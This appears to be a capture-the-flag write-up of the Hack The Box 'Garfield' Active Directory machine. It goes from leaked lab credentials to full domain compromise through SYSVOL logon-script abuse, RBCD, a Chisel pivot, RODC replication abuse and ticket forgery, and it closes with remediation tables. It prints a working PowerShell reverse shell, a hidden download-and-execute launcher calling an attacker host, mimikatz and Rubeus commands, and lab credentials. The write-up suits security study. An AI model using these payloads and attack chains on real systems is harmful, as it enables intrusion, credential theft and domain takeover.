Summary
Garfield is a Windows Active Directory box centered on an attack path that's invisible to standard BloodHound collection: SYSVOL file-level write access that isn't reflected in AD object ACLs. Starting from HTB-provided credentials for j.arbuckle, SMB/LDAP enumeration and a BloodHound sweep surface a promising-looking chain (l.wilson -> l.wilson_adm -> RODC01) but no way in as l.wilson itself - until manual SMB testing reveals write access to SYSVOL logon scripts, a GPO delegation artifact BloodHound doesn't model. A malicious logon script (.bat launcher + in-memory PowerShell reverse shell) planted via SYSVOL and assigned to l.wilson's scriptPath yields a shell on next login.
From there, l.wilson resets l.wilson_adm's password directly (a delegated right), giving the user flag. l.wilson_adm holds WRITE on the RODC01 computer object, enabling Resource-Based Constrained Delegation (RBCD) via a self-created fake machine account - but RODC01 turns out to sit on an internal-only network segment (the DC is dual-homed), reachable only via a Chisel SOCKS tunnel. Once pivoted in, RBCD is used to request a service ticket impersonating Administrator against RODC01, l.wilson_adm is added to the RODC Administrators group, and the RODC's Password Replication Policy is modified to allow it to cache the real Administrator's credentials. Forcing replication and dumping the RODC's krbtgt key with mimikatz enables both a RODC Golden Ticket and a Key List Attack, ultimately yielding the domain Administrator's NTLM hash and full domain compromise via Pass-the-Hash.
Key techniques: SMB credential leak -> BloodHound-invisible SYSVOL write access -> malicious logon script (fileless PowerShell reverse shell) -> delegated password reset -> RBCD against a writable RODC computer object -> internal network pivot via Chisel -> RODC group/PRP abuse -> forced credential replication -> RODC krbtgt extraction -> Golden Ticket / Key List Attack -> Pass-the-Hash as Administrator.
1. Reconnaissance
An nmap scan was run to identify open ports and services.
nmap -sC -sV -A <MACHINE-IP> -oA nmap-garfield
Nmap scan report for garfield.htb (<MACHINE-IP>)
Host is up (0.27s latency).
Not shown: 986 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-04-05 03:04:25Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: garfield.htb, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
2179/tcp open vmrdp?
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: garfield.htb, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=DC01.garfield.htb
| Not valid before: 2026-02-13T01:10:36
|_Not valid after: 2026-08-15T01:10:36
| rdp-ntlm-info:
| Target_Name: GARFIELD
| NetBIOS_Domain_Name: GARFIELD
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: garfield.htb
| DNS_Computer_Name: DC01.garfield.htb
| DNS_Tree_Name: garfield.htb
| Product_Version: 10.0.17763
|_ System_Time: 2026-04-05T03:04:43+00:00
|_ssl-date: 2026-04-05T03:05:23+00:00; +8h00m01s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: "Not Found"
|_http-server-header: Microsoft-HTTPAPI/2.0
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019|10 (97%)
OS CPE: cpe:/o:microsoft:windows_server_2019 cpe:/o:microsoft:windows_10
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
| smb2-time:
| date: 2026-04-05T03:04:45
|_ start_date: N/A
|_clock-skew: mean: 8h00m00s, deviation: 0s, median: 7h59m59s
Nmap done: 1 IP address (1 host up) scanned in 138.23 seconds
This is a Windows Active Directory Domain Controller. HTB provided a credential leak for this box: j.arbuckle.
1.1 DNS Enumeration
dig @dc01.garfield.htb any garfield.htb
;; ANSWER SECTION:
garfield.htb. 600 IN A <MACHINE-IP>
garfield.htb. 3600 IN NS dc01.garfield.htb.
garfield.htb. 3600 IN SOA dc01.garfield.htb. hostmaster.garfield.htb. 319 900 600 86400 3600
garfield.htb. 600 IN AAAA dead:beef::5a16:a5c9:fba3:d037
;; ADDITIONAL SECTION:
dc01.garfield.htb. 3600 IN A 192.168.100.1
dc01.garfield.htb. 3600 IN A <MACHINE-IP>
dc01.garfield.htb. 3600 IN AAAA dead:beef::5a16:a5c9:fba3:d037
The presence of a 192.168.x.x address alongside the public one indicates the domain controller is dual-homed - it also sits on an internal network segment not directly reachable from the attacker machine. This becomes relevant later.
1.2 SMB/LDAP Enumeration
Shares and users were enumerated with the leaked credentials:
nxc smb <MACHINE-IP> -u 'garfield.htb\j.arbuckle' -p 'Th1sD4mnC4t!@1978' --shares
SMB <MACHINE-IP> 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:garfield.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB <MACHINE-IP> 445 DC01 [+] garfield.htb\j.arbuckle:Th1sD4mnC4t!@1978
SMB <MACHINE-IP> 445 DC01 [*] Enumerated shares
SMB <MACHINE-IP> 445 DC01 Share Permissions Remark
SMB <MACHINE-IP> 445 DC01 ----- ----------- ------
SMB <MACHINE-IP> 445 DC01 ADMIN$ Remote Admin
SMB <MACHINE-IP> 445 DC01 C$ Default share
SMB <MACHINE-IP> 445 DC01 IPC$ READ Remote IPC
SMB <MACHINE-IP> 445 DC01 NETLOGON READ Logon server share
SMB <MACHINE-IP> 445 DC01 SYSVOL READ Logon server share
nxc smb <MACHINE-IP> -u 'garfield.htb\j.arbuckle' -p 'Th1sD4mnC4t!@1978' --users
SMB <MACHINE-IP> 445 DC01 -Username- -Last PW Set- -BadPW- -Description-
SMB <MACHINE-IP> 445 DC01 Administrator 2025-10-03 17:29:26 0 Built-in account for administering the computer/domain
SMB <MACHINE-IP> 445 DC01 Guest <never> 0 Built-in account for guest access to the computer/domain
SMB <MACHINE-IP> 445 DC01 krbtgt 2025-08-13 11:05:26 0 Key Distribution Center Service Account
SMB <MACHINE-IP> 445 DC01 krbtgt_8245 2025-08-17 11:33:39 0 Key Distribution Center service account for read-only domain controller
SMB <MACHINE-IP> 445 DC01 j.arbuckle 2025-09-09 15:50:55 0
SMB <MACHINE-IP> 445 DC01 l.wilson 2026-01-27 21:40:33 0
SMB <MACHINE-IP> 445 DC01 l.wilson_adm 2026-01-13 14:56:35 0
SMB <MACHINE-IP> 445 DC01 [*] Enumerated 7 local users: GARFIELD
Nothing directly exploitable surfaced here, so the next step was a full BloodHound sweep. The presence of krbtgt_8245 - a second KDC service account tied to a read-only domain controller (RODC) - is worth noting for later.
2. Active Directory Enumeration
bloodhound-python -u j.arbuckle -p 'Th1sD4mnC4t!@1978' -d garfield.htb -dc DC01.garfield.htb -c All
Ingesting the collected data into BloodHound revealed a useful, if incomplete, chain:
-
l.wilson-> can reset the password ofl.wilson_adm -
l.wilson_adm-> can self-add toRODC01 Administrators@garfield.htb -
l.wilson_adm-> can change the password ofRODC01.garfield.htb
These paths are promising, but all of them require access to l.wilson first - and nothing in the graph explains how to get there.
3. Initial Foothold via SYSVOL
3.1 The BloodHound Blind Spot
This attack path doesn't appear in BloodHound because of a structural limitation:
- Object vs. file permissions - BloodHound models Active Directory object ACLs, but does not analyze NTFS permissions inside SYSVOL.
- GPO delegation mismatch - Administrative delegation (e.g. "Manage Logon Scripts") often grants write access to SYSVOL files without touching the AD object's own ACL.
The result: attack paths relying on file-level SYSVOL access remain invisible in the BloodHound graph.
j.arbuckle is a member of the IT Support group, which prompted manual validation of accessible network shares beyond what BloodHound reported. Using smbclient, the group turned out to have write access to logon scripts:
# Verify write access
smbclient //<MACHINE-IP>/SYSVOL -U 'garfield.htb/j.arbuckle%Th1sD4mnC4t!@1978' \
-c "cd garfield.htb\scripts; put /etc/hosts test.txt"
putting file /etc/hosts as \garfield.htb\scripts\test.txt (1.9 kB/s) (average 1.9 kB/s)
The upload succeeded - confirming write access to logon scripts, a path invisible to the BloodHound graph but sufficient to compromise l.wilson, which in turn opens the l.wilson_adm -> RODC01 chain already identified.
3.2 Reverse Shell Payload
A two-stage payload was used to execute code via AD logon scripts:
- A
.batlauncher (evil.bat) as the logon script itself - A PowerShell reverse shell (
shell.ps1), downloaded and executed in memory by the launcher
PowerShell payload (shell.ps1):
$client = New-Object System.Net.Sockets.TCPClient("<ATTACKER-IP>",4444)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)
$sendback = (iex $data 2>&1 | Out-String )
$sendback2 = $sendback + "PS " + (pwd).Path + "> "
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
$client.Close()
Logon script launcher (evil.bat):
@echo off
powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://<ATTACKER-IP>/shell.ps1')"
This downloads and executes the PowerShell payload entirely in memory (fileless execution) - avoiding writing suspicious files to disk and allowing quick payload iteration.
3.3 Hosting and Uploading the Payload
python3 -m http.server 80
smbclient //<MACHINE-IP>/SYSVOL -U 'garfield.htb/j.arbuckle%Th1sD4mnC4t!@1978' \
-c "cd garfield.htb\scripts; put /path/to/evil.bat evil.bat"
Start a listener:
nc -lnvp 4444
Set l.wilson's logon script path to point at the malicious script:
bloodyAD -d garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978' --host <MACHINE-IP> \
set object l.wilson scriptPath -v "evil.bat"
When l.wilson next logs in, the logon script runs and a reverse shell connects back to the attacker.
Note: Logon scripts only execute during authentication, so this attack is timing-dependent. Options to speed things up include waiting for a natural login, forcing authentication where possible, or targeting a user known to log in frequently.
4. Lateral Movement
BloodHound had already flagged that l.wilson can change the password of l.wilson_adm.
4.1 Resetting the Password for l.wilson_adm
From the shell obtained as l.wilson:
$user = [ADSI]"LDAP://CN=Liz Wilson ADM,CN=Users,DC=garfield,DC=htb"
$user.SetPassword("Password12!")
$user.SetInfo()
4.2 User Flag
evil-winrm -i <MACHINE-IP> -u 'l.wilson_adm' -p 'Password12!'
*Evil-WinRM* PS C:\Users\l.wilson_adm\Documents> type C:\Users\l.wilson_adm\Desktop\User.txt
HTB{REDACTED}
5. Privilege Escalation
5.1 Writable Objects
With l.wilson_adm compromised, writable AD objects were enumerated:
bloodyAD --host garfield.htb -u l.wilson_adm -p 'Password12!' get writable
distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=garfield,DC=htb
permission: WRITE
distinguishedName: CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb
permission: WRITE
distinguishedName: CN=Liz Wilson ADM,CN=Users,DC=garfield,DC=htb
WRITE on the RODC01 computer object allows modification of its attributes - including msDS-AllowedToActOnBehalfOfOtherIdentity. Controlling that attribute lets an attacker-controlled machine account impersonate any user when authenticating to RODC01: Resource-Based Constrained Delegation (RBCD).
5.2 Resource-Based Constrained Delegation (RBCD)
With WRITE access over RODC01, the plan was to:
- Create a machine account fully controlled by the attacker
- Configure RBCD on RODC01 pointing at that account
- Impersonate a privileged user (Administrator) when requesting a service ticket
- Gain remote access to RODC01
An initial connection attempt to RODC01 failed outright. Recalling the dual-homed DC discovered during recon, and now knowing the hostname RODC01.garfield.htb, a DNS lookup was the next step.
5.3 Internal Network Discovery
dig @dc01.garfield.htb RODC01.garfield.htb
;; ANSWER SECTION:
RODC01.garfield.htb. 1200 IN A 192.168.100.2
RODC01 resolves to 192.168.100.2 - an RFC1918 private address, confirming the host sits on the internal-only network segment behind the dual-homed DC and isn't directly reachable from the attacker machine.
5.4 Pivoting via Chisel
A Chisel server was started on the attacker machine:
chisel server -p 8000 --reverse
Chisel was uploaded to the l.wilson_adm session and connected back to establish a reverse SOCKS tunnel:
upload /path/to/chisel.exe
.\Chisel.exe client <ATTACKER-IP>:8000 R:socks
Proxychains was then configured to route through the tunnel:
sudo nano /etc/proxychains4.conf
# Ensure:
socks5 127.0.0.1 1080
Connectivity to the internal network was verified:
proxychains nmap -p445 -Pn 192.168.100.2
PORT STATE SERVICE
445/tcp filtered microsoft-ds
Although the port shows filtered rather than open, receiving any response via proxychains confirms traffic is being successfully routed through the tunnel into the internal segment.
5.5 RBCD Exploitation
With l.wilson_adm controlled and a route to RODC01 established, the RBCD chain was executed to ultimately abuse RODC-specific replication controls and extract sensitive credentials.
Add l.wilson_adm to RODC Administrators:
Add-ADGroupMember -Identity "RODC Administrators" -Members "l.wilson_adm"
Get-ADGroupMember "RODC Administrators"
Group membership changes require a new logon session to take effect, so the WinRM session was reconnected:
evil-winrm -i <MACHINE-IP> -u l.wilson_adm -p 'Password12!'
1. Add a fake computer account. By default, domain users can create a limited number of machine accounts (ms-DS-MachineAccountQuota), which is enough to create a fully attacker-controlled computer object required for RBCD:
addcomputer.py -dc-ip <MACHINE-IP> \
-computer-name 'EVIL$' \
-computer-pass 'EvilPass123!' \
'garfield.htb/l.wilson_adm:Password12!'
2. Delegate RODC01 to the fake computer:
rbcd.py -delegate-to 'RODC01$' \
-delegate-from 'EVIL$' \
-action write \
'garfield.htb/l.wilson_adm:Password12!' \
-dc-ip <MACHINE-IP>
3. Request a service ticket for RODC01, impersonating Administrator:
proxychains getST.py \
garfield.htb/'EVIL$':'EvilPass123!' \
-spn cifs/RODC01.garfield.htb \
-impersonate Administrator \
-dc-ip <MACHINE-IP>
4. Export and use the ticket:
export KRB5CCNAME='Administrator@cifs_RODC01.garfield.htb@GARFIELD.HTB.ccache'
5. Connect via wmiexec:
proxychains wmiexec.py -k -no-pass \
-target-ip 192.168.100.2 \
'garfield.htb/Administrator@RODC01.garfield.htb'
5.6 Forcing Credential Replication
RODCs don't cache all domain credentials by default - only accounts explicitly permitted by the Password Replication Policy (PRP). The policy was modified to allow replication of the real Administrator account.
PowerView.ps1 (bundled by default on Kali) was uploaded to the l.wilson_adm session:
locate powerview.ps1
/usr/share/powershell-empire/empire/server/data/module_source/situational_awareness/network/powerview.ps1
upload /path/to/powerview.ps1
Configure the RODC to cache Administrator credentials:
Import-Module .\PowerView.ps1
Set-DomainObject -Identity RODC01$ -Set @{
'msDS-RevealOnDemandGroup'=@(
'CN=Allowed RODC Password Replication Group,CN=Users,DC=garfield,DC=htb',
'CN=Administrator,CN=Users,DC=garfield,DC=htb'
)
}
Set-DomainObject -Identity RODC01$ -Clear 'msDS-NeverRevealGroup'
Force credential replication:
repadmin /rodcpwdrepl RODC01 DC01 "CN=Administrator,CN=Users,DC=garfield,DC=htb"
Successfully replicated secrets for user CN=Administrator,CN=Users,DC=garfield,DC=htb on read-only DC RODC01 from full DC DC01.
5.7 Extracting Keys and Forging Tickets
With the real Administrator's credentials now cached on the RODC, its krbtgt_8245 key (the RODC-specific KDC key) was dumped with mimikatz:
mimikatz.exe lsadump::dcsync /user:garfield\krbtgt_8245
Forging a RODC Golden Ticket using the extracted key (Rubeus uploaded to the RODC01 shell):
Note: Use Rubeus v2.3.3 or later - older versions silently ignore the
/keyListflag.
.\Rubeus.exe golden /rodcNumber:8245 /flags:forwardable,renewable,enc_pa_rep /nowrap \
/outfile:ticket.kirbi /aes256:<AES_KEY> /user:Administrator /id:500 \
/domain:garfield.htb /sid:S-1-5-21-2502726253-3859040611-225969357
Key List Attack - using the same extracted key to request a full-privilege TGS and recover the Administrator's NTLM hash:
.\Rubeus.exe asktgs /enctype:aes256 /keyList /service:krbtgt/garfield.htb \
/dc:DC01.garfield.htb \
/ticket:ticket_2026_04_05_12_11_04_Administrator_to_krbtgt@GARFIELD.HTB.kirbi /nowrap
This returns the domain Administrator's NT hash, usable directly with Pass-the-Hash.
6. Root Flag
evil-winrm -i <MACHINE-IP> -u Administrator -H 'EE..............2D5'
*Evil-WinRM* PS C:\Users\Administrator> cd Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> dir
Directory: C:\Users\Administrator\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 4/4/2026 11:55 PM 34 root.txt
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
HTB{REDACTED}
7. Attack Chain Summary
Initial Access
│
├─ Credential Leak (j.arbuckle)
│
├─ Reconnaissance
│ ├─ Nmap → Domain Controller identified (DC01)
│ ├─ DNS → Dual-homed DC (public + 192.168.x.x)
│ └─ SMB/LDAP → Users & shares enumerated
│
├─ BloodHound Analysis
│ └─ Attack path identified (incomplete):
│ l.wilson → l.wilson_adm → RODC01
│
├─ Initial Foothold (SYSVOL Abuse - BloodHound blind spot)
│ ├─ Write access to SYSVOL logon scripts (not in AD ACLs)
│ ├─ Upload malicious script (evil.bat + shell.ps1)
│ ├─ Set scriptPath for l.wilson
│ └─ Reverse shell as l.wilson (on next logon)
│
├─ Lateral Movement
│ ├─ Reset password of l.wilson_adm
│ └─ WinRM access as l.wilson_adm (user flag)
│
├─ Privilege Escalation (AD Abuse)
│ ├─ Enumerate writable objects
│ ├─ WRITE access on RODC01
│ └─ Resource-Based Constrained Delegation (RBCD)
│ ├─ Create fake machine account (EVIL$)
│ ├─ Configure delegation on RODC01
│ ├─ Request TGS impersonating Administrator
│ └─ Access RODC01 (via internal network)
│
├─ Network Pivoting
│ ├─ Identify internal IP (192.168.100.2)
│ ├─ Chisel reverse SOCKS tunnel
│ └─ Proxychains → internal network access
│
├─ Domain Compromise via RODC
│ ├─ Add l.wilson_adm to RODC Administrators
│ ├─ Modify Password Replication Policy (allow Administrator)
│ ├─ Force credential replication (repadmin)
│ └─ Extract krbtgt_8245 key (mimikatz)
│
├─ Ticket Forgery
│ ├─ Forge RODC Golden Ticket (Rubeus)
│ └─ Key List Attack → Administrator NTLM hash
│
└─ Full Domain Compromise
└─ Pass-the-Hash → Administrator access (root flag)
8. Key Vulnerabilities
| # | Vulnerability / Misconfiguration | Description | Impact |
|---|---|---|---|
| 1 | Credential exposure | Valid credentials for j.arbuckle were available |
Initial domain access |
| 2 | SYSVOL write access | User had write permissions on \\SYSVOL\scripts
|
Logon script injection -> remote code execution |
| 3 | BloodHound-invisible attack path | NTFS permissions on SYSVOL aren't visible in BloodHound's AD-ACL model | Hidden privilege escalation path |
| 4 | Excessive AD delegation rights |
l.wilson can reset the password of l.wilson_adm
|
Lateral movement |
| 5 | Privileged account misconfiguration |
l.wilson_adm holds high privileges over RODC01 |
Privilege escalation |
| 6 | Writable AD object (RODC01) |
WRITE access on the RODC01 computer object |
Enables RBCD attack |
| 7 | Resource-Based Constrained Delegation exposure | Delegation settings modifiable by a low-privileged writable-object holder | Impersonation of Administrator |
| 8 | Dual-homed domain controller | DC exposed on an internal (192.168.x.x) network in addition to the public one |
Pivoting opportunity into internal segment |
| 9 | Poor network segmentation | Internal network reachable once pivoted | Access to otherwise-restricted hosts (RODC01) |
| 10 | No egress filtering | Outbound connections (reverse shell, Chisel tunnel) allowed unrestricted | C2 and tunneling capability |
| 11 | RODC Administrators group mismanagement | Attacker-controlled account added to RODC Administrators | Elevated control over the RODC |
| 12 | Weak Password Replication Policy | RODC PRP could be modified to allow replication of the real Administrator | Credential exposure via a read-only DC |
| 13 | Forced credential replication |
repadmin used to force-replicate Administrator's credentials to RODC |
Credential dumping |
| 14 | Kerberos key exposure (krbtgt_8245) |
RODC-specific KRBTGT key extracted via DCSync | Golden Ticket / Key List Attack |
| 15 | Lack of monitoring/detection | No apparent alerting on script abuse, delegation changes, or forced replication | Full domain compromise without detection |
9. Remediations
| Vulnerability | Recommendation |
|---|---|
| Credential exposure | Rotate and audit any credentials shared outside their intended scope; avoid reusing HTB-provided or onboarding credentials without a forced rotation |
| SYSVOL write access via GPO delegation | Audit "Manage Logon Scripts" and similar GPO delegations regularly; treat file-level SYSVOL write access as equivalent in risk to an AD object ACL grant |
| BloodHound-invisible SYSVOL paths | Supplement BloodHound collection with explicit SYSVOL/NTFS permission audits (e.g. icacls, dedicated SYSVOL ACL review tooling) as part of routine AD hygiene |
Delegated password-reset rights (l.wilson -> l.wilson_adm) |
Apply least-privilege delegation; avoid granting standard users password-reset rights over higher-privileged or administrative accounts |
| Writable RODC computer object | Restrict WRITE access on domain controller computer objects, including RODCs, to Domain/Enterprise Admins only |
RBCD misuse via ms-DS-MachineAccountQuota
|
Set ms-DS-MachineAccountQuota to 0 for non-administrative users to prevent unauthorized machine account creation used in RBCD attacks |
| Dual-homed DC / internal network exposure | Avoid dual-homing domain controllers across trust boundaries; if required, enforce strict firewalling and monitoring on the internal-facing interface |
| No egress filtering | Implement egress filtering and network monitoring to detect reverse shells, unauthorized tunneling tools (Chisel, etc.), and unusual outbound connections |
| RODC Password Replication Policy weaknesses | Keep the RODC PRP restrictive by default; alert on any modification of msDS-RevealOnDemandGroup or msDS-NeverRevealGroup
|
Forced credential replication (repadmin /rodcpwdrepl) |
Monitor and alert on RODC replication events targeting privileged accounts such as Administrator
|
RODC krbtgt key exposure |
Treat RODC KDC keys with the same sensitivity as the domain krbtgt key; monitor for DCSync-style requests against RODC service accounts |
| Lack of monitoring/detection | Deploy detection for logon script modification, group membership changes to privileged groups, delegation attribute changes, and abnormal ticket requests (Golden Ticket / Key List Attack indicators) |
Top comments (0)